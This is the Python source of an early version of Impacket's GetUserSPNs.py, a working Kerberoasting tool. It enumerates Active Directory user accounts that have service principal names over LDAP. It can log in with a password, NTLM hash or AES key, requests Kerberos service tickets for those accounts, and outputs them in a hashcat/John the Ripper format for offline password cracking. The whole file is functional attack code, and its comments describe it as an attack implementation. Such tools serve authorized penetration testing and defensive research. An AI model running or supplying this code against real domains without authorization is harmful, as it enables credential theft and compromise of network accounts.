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GetUserSPNs.py
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GetUserSPNs.py
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#!/usr/bin/python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This module will try to find Service Principal Names that are associated with normal user account.
# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
#
# Original idea of implementing this in Python belongs to @skelsec and his
# https://github.com/skelsec/PyKerberoast project
#
# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
# Also, disabled accounts won't be shown.
#
# ToDo:
# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer
# (play with userAccountControl)
#
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
class GetUserSPNs:
@staticmethod
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print outputFormat.format(*header)
print ' '.join(['-' * itemLen for itemLen in colLen])
# And now the rows
for row in items:
print outputFormat.format(*row)
def __init__(self, username, password, domain, cmdLineOptions):
self.options = cmdLineOptions
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__outputFileName = options.outputfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__target = None
self.__requestTGS = options.request
self.__kdcHost = cmdLineOptions.dc_ip
self.__saveTGS = cmdLineOptions.save
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__domain, self.__domain)
try:
s.login('', '')
except Exception:
logging.debug('Error while anonymous logging into %s' % self.__domain)
s.logoff()
return s.getServerName()
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# According to RFC4757 the cipher part is like:
# struct EDATA {
# struct HEADER {
# OCTET Checksum[16];
# OCTET Confounder[8];
# } Header;
# OCTET Data[0];
# } edata;
#
# In short, we're interested in splitting the checksum and the rest of the encrypted data
#
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn,
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
if fd is None:
print entry
else:
fd.write(entry+'\n')
else:
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
decodedTGS['ticket']['enc-part']['etype']))
if self.__saveTGS is True:
# Save the ticket
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey )
ccache.saveFile('%s.ccache' % username)
except Exception, e:
logging.error(str(e))
def run(self):
if self.__doKerberos:
self.__target = self.getMachineName()
else:
if self.__kdcHost is not None:
self.__target = self.__kdcHost
else:
self.__target = self.__domain
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError, e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
else:
raise
# Building the following filter:
# (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
# (servicePrincipalName=*)
and0 = ldapasn1.Filter()
and0['present'] = ldapasn1.Present('servicePrincipalName')
# (UserAccountControl:1.2.840.113556.1.4.803:=512)
and1 = ldapasn1.Filter()
and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
and1['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_NORMAL_ACCOUNT)
and1['extensibleMatch']['dnAttributes'] = False
# !(UserAccountControl:1.2.840.113556.1.4.803:=2)
and2 = ldapasn1.Not()
and2['notFilter'] = ldapasn1.Filter()
and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
and2['notFilter']['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
and2['notFilter']['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
and2['notFilter']['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE)
and2['notFilter']['extensibleMatch']['dnAttributes'] = False
searchFilter = ldapasn1.Filter()
searchFilter['and'] = ldapasn1.And()
searchFilter['and'][0] = and0
searchFilter['and'][1] = and1
# searchFilter['and'][2] = and2
# Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags
searchFilter['and'].setComponentByPosition(2,and2, verifyConstraints=False)
try:
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap.LDAPSearchError, e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
raise
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['vals'][0]).endswith('$') is False:
# User Account
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif attribute['type'] == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
elif attribute['type'] == 'memberOf':
memberOf = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
except Exception, e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
print '\n\n'
if self.__requestTGS is True:
# Let's get unique user names an a SPN to request a TGS for
users = dict( (vals[1], vals[0]) for vals in answers)
# Get a TGT for the current user
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for user, SPN in users.iteritems():
try:
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
except Exception , e:
logging.error(str(e))
if fd is not None:
fd.close()
else:
print "No entries found!"
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running under a user account")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them in JtR/hashcat format (default False)')
parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is <username>.ccache. Auto selects -request')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.target+'@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.save is True or options.outputfile is not None:
options.request = True
try:
executer = GetUserSPNs(username, password, domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)